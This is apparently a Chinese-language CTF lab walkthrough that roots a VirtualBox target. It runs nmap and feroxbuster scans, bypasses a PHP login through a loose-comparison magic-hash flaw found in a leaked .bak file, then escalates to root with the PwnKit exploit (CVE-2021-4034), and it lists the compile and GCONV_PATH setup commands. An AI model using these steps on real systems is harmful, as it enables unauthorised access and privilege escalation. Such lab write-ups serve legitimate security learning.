所渗透的靶机IP为192.168.56.119

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.56.119 
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-19 13:22 UTC
Nmap scan report for 192.168.56.119 (192.168.56.119)
Host is up (0.00036s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3389/tcp open ms-wbt-server
MAC Address: 08:00:27:8C:0E:C6 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.36 seconds
sudo nmap -sT -sV -sC -O -p22,80,3389 192.168.56.119
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-19 13:22 UTC
Nmap scan report for 192.168.56.119 (192.168.56.119)
Host is up (0.00042s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 1e:fb:86:3d:cf:26:a2:a0:ae:b0:00:61:0b:41:cb:ab (RSA)
| 256 80:8e:46:7b:1d:6e:13:74:22:89:ad:91:b4:44:64:ec (ECDSA)
|_ 256 71:e5:e1:4f:34:16:de:ec:b5:c4:fe:f5:0a:a2:ee:fc (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: LOGIN
3389/tcp open ms-wbt-server xrdp
MAC Address: 08:00:27:8C:0E:C6 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.23 seconds

Getshell

根目录是一个登陆界面,查看源码发现一行字

<!-- Marco, remember to delete the .bak file-->

扫描目录

feroxbuster --url=http://192.168.56.119/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,bak

___ ___ __ __ __ __ __ ___

|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.56.119/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php, bak]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1l 2w 19c http://192.168.56.119/check.php
200 GET 13l 38w 453c http://192.168.56.119/
200 GET 14l 39w 273c http://192.168.56.119/check.bak
[####################] - 51s 661641/661641 0s found:3 errors:0
[####################] - 51s 661638/661638 12991/s http://192.168.56.119/

登录界面抓个包,发现请求是发给check.php的。下载备份文件

<?php
// Login part.
$pass = $_POST['password'];
//marco please dont use md5, is not secure.
//$passwordhashed = hash('md5', $pass);
$passwordhashed = hash('sha256',$pass);
if ($passwordhashed == '0e0001337') {
//Your code here
}
else{
//Another code here
}
//To finish
?>

如果密码进行sha256哈希加密之后弱等于’0e0001337’,则执行下一步的代码,但是’0e0001337’似乎不能直接解密,试着绕过

参考: https://github.com/spaze/hashes

用marco:TyNOQHUS凭证能够登录

提权

登录后拿到一个私钥,可用于登录marco用户。还存在一个maria用户,在她的家目录有一个myterm.sh脚本

这个脚本名为`myterm.sh`,它主要包含两行命令。下面是对每一行的解释:
1. `export DISPLAY=:10`:
- 这一行使用`export`命令设置了一个环境变量`DISPLAY`的值为`:10`。
- `DISPLAY`环境变量通常用于指定X服务器的显示端口。在这里,它被设置为`:10`,表明要使用第10个X服务器显示端口。
2. `xterm`:
- 这一行启动了一个终端窗口,使用的是`xterm`命令。
- `xterm`是一个基于X Window System的终端仿真器,用于在图形用户界面中打开一个文本终端窗口。

因此,这个脚本的作用是设置X服务器的显示端口为10,并启动一个`xterm`终端窗口。在脚本执行后,将会在图形用户界面中打开一个X终端窗口。

但是执行脚本后显示无法启用:10显示器

需要在ssh连接时启用X11转发

ssh -i key -Y marco@192.168.56.119

现在可以执行脚本,然后显示了一个远程桌面。但仍然是无法横向到maria用户。

这个做法应该是可以通往maria用户的,但是我这里操作不出来。于是转向了内核提权(心虚

一开始用CVE-2019-13272但是失败了,后来用了CVE-2021-4034

https://github.com/berdav/CVE-2021-4034

make完之后提示

version `GLIBC_2.34' not found (required by ./pwned)

缺少lib库,之前是直接”make”自动编译,现在尝试手动静态编译cve-2021-4034

gcc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
gcc -Wall cve-2021-4034.c -o cve-2021-4034 -static

上传pwnkit.so和cve-2021-4034到靶机中

在靶机中:

echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules

mkdir -p GCONV_PATH=.

cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.

chmod +x cve-2021-4034

运行之后,我们是root!

碎碎念

前面还是比较简单的,后面对于远程桌面什么的属实是不太了解。内核提权的方式也有些磕碰,还是得多学学内核的知识。